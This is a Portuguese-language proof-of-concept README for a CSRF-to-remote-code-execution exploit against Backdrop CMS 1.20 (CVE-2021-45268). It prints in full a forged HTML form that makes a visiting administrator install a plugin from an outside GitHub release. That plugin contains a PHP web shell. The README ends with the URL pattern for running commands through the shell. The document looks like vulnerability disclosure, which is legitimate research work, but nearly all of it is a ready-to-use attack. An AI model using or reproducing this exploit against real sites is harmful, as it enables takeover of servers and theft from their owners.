v1n1v131r4/csrf-to-rce-on-backdrop-cmsProva de conceito de exploit para CSRF para RCE no Backdrop CMS 1.20 (CVE-2021-45268) usando upload de plugin malicioso.
Este PoC descreve como explorar CSRF no Backdrop CMS Versão 1.20 com escalada para RCE.
O Backdrop CMS versão 1.20 permite que plugins sejam adicionados via arquivos ZIP enviados para o site. E, por não possuir proteção anti-CSRF, é possível que um atacante crie um plugin com um arquivo que permita a execução de comandos, hospede-o e, usando uma página forjada, faça o administrador do site enviar esse plugin apenas clicando em um link malicioso.
Utilizamos um plugin padrão, disponível na página do projeto no GitHub, inserimos um arquivo chamado shell.php, que contém um trecho de PHP que permite a execução remota de comandos, e disponibilizamos este plugin forjado em outro GitHub (https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/tag/backdrop).
Criamos uma página HTML com um payload que força o site a instalar o plugin quando chamada por meio do navegador. Dessa forma, quando acessada pelo administrador do site, o arquivo shell.php estará disponível para uso pelo atacante.
<html>
<body>
<form method="POST" action="http://example.com/backdrop/?q=system/ajax">
<input type="text" name="q" value="system/ajax">
<input type="text" name="Backdrop.tableDrag.showWeight" value="0">
<input type="text" name="SESSaca5a63f4c2fc739381fab7741d68783" value="4IVp_-QA9bzSPmMyXalKTNS3BNFTQnxJTw8t93Gi6c8">
<input type="text" name="bulk" value="">
<input type="text" name="project_url" value="https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS/releases/download/backdrop/reference.tar">
<input type="text" name="files[project_upload]" value="">
<input type="text" name="form_build_id" value="form-p-BrvXTDPqUhhAatHFr4d_dQKt6Dn5d-mIf4hwFyuJA">
<input type="text" name="form_token" value="aYigpmZz3OXNHnjJTO2Tu43IXMKyrMXvB2yL-4NFbTw">
<input type="text" name="form_id" value="installer_manager_install_form">
<input type="text" name="_triggering_element_name" value="op">
<input type="text" name="_triggering_element_value" value="Install">
<input type="text" name="ajax_html_ids[]" value="skip-link">
<input type="text" name="ajax_html_ids[]" value="main-content">
<input type="text" name="ajax_html_ids[]" value="installer-browser-filters-form">
<input type="text" name="ajax_html_ids[]" value="edit-search-text">
<input type="text" name="ajax_html_ids[]" value="edit-submit">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-bootstrap_lite">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-corporate_kiss">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lateral">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-colihaut">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-shasetsu">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-borg">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-pelerine">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-cleanish">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-materialize">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-lumi">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-tatsu">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-mero">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-snazzy">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-afterlight_tribute">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-minicss">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-zurb_foundation_6">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-thesis">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-summer_fun">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-news_arrow">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-ajax">
<input type="text" name="ajax_html_ids[]" value="title-link">
<input type="text" name="ajax_html_ids[]" value="add-to-queue-link-basis_contrib">
<input type="text" name="ajax_html_ids[]" value="installer-browser-manual-install-link">
<input type="text" name="ajax_html_ids[]" value="edit-link">
<input type="text" name="ajax_html_ids[]" value="admin-bar">
<input type="text" name="ajax_html_ids[]" value="admin-bar-wrapper">
<input type="text" name="ajax_html_ids[]" value="admin-bar-icon">
<input type="text" name="ajax_html_ids[]" value="admin-bar-menu">
<input type="text" name="ajax_html_ids[]" value="admin-bar-extra">
<input type="text" name="ajax_html_ids[]" value="admin-bar-search-items">
<input type="text" name="ajax_html_ids[]" value="ui-id-1">
<input type="text" name="ajax_html_ids[]" value="backdrop-modal">
<input type="text" name="ajax_html_ids[]" value="installer-manager-install-form">
<input type="text" name="ajax_html_ids[]" value="edit-bulk-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-bulk">
<input type="text" name="ajax_html_ids[]" value="edit-project-url-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-project-url">
<input type="text" name="ajax_html_ids[]" value="edit-project-upload-wrapper">
<input type="text" name="ajax_html_ids[]" value="edit-project-upload">
<input type="text" name="ajax_html_ids[]" value="edit-actions">
<input type="text" name="ajax_html_ids[]" value="edit-submit--2">
<input type="text" name="ajax_page_state[theme]" value="seven">
<input type="text" name="ajax_page_state[theme_token]" value="RY9h420qjWmejTKFp7C0ytS__FtpWnVmEjVCnHWFblo">
<input type="text" name="ajax_page_state[css][core/misc/normalize.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/messages.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/system/css/system.admin.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/layout/css/grid-flexbox.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/contextual/css/contextual.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/comment/css/comment.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/date/css/date.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/field/css/field.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/search/search.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/user/css/user.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/views/css/views.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/admin_bar/css/admin_bar-print.css]" value="1">
<input type="text" name="ajax_page_state[css][core/layouts/boxton/boxton.css]" value="1">
<input type="text" name="ajax_page_state[css][core/modules/installer/css/installer.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/seven.base.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/style.css]" value="1">
<input type="text" name="ajax_page_state[css][core/themes/seven/css/responsive-tabs.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/opensans/opensans.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.core.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.button.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.draggable.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.resizable.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.dialog.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/dialog.theme.css]" value="1">
<input type="text" name="ajax_page_state[css][core/misc/ui/jquery.ui.theme.css]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/html5.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery-extend-3.4.0.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery-html-prefilter-3.5.0.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.once.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/backdrop.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/layout/js/grid-fallback.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ajax.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.form.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/contextual/js/contextual.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/form.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/admin_bar/js/admin_bar.js]" value="1">
<input type="text" name="ajax_page_state[js][core/modules/installer/js/installer.project_list.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/progress.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/tableheader.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dismiss.js]" value="1">
<input type="text" name="ajax_page_state[js][core/themes/seven/js/script.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.data.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.disable-selection.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.labels.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.scroll-parent.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.tabbable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.unique-id.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.version.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.escape-selector.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.focusable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.form-reset-mixin.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.ie.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.keycode.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.plugin.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-active-element.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.safe-blur.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.widget.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/textarea.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.button.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.mouse.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/jquery.ui.touch-punch.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.draggable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.position.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.resizable.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/ui/jquery.ui.dialog.min.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dialog.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/dialog.ajax.js]" value="1">
<input type="text" name="ajax_page_state[js][core/misc/collapse.js]" value="1">
<input type="submit" value="Send">
</form>
</body>
</html>
Execute no seu navegador: http://example.com/backdrop/modules/reference/shell.php?cmd=[command] para executar comandos remotos.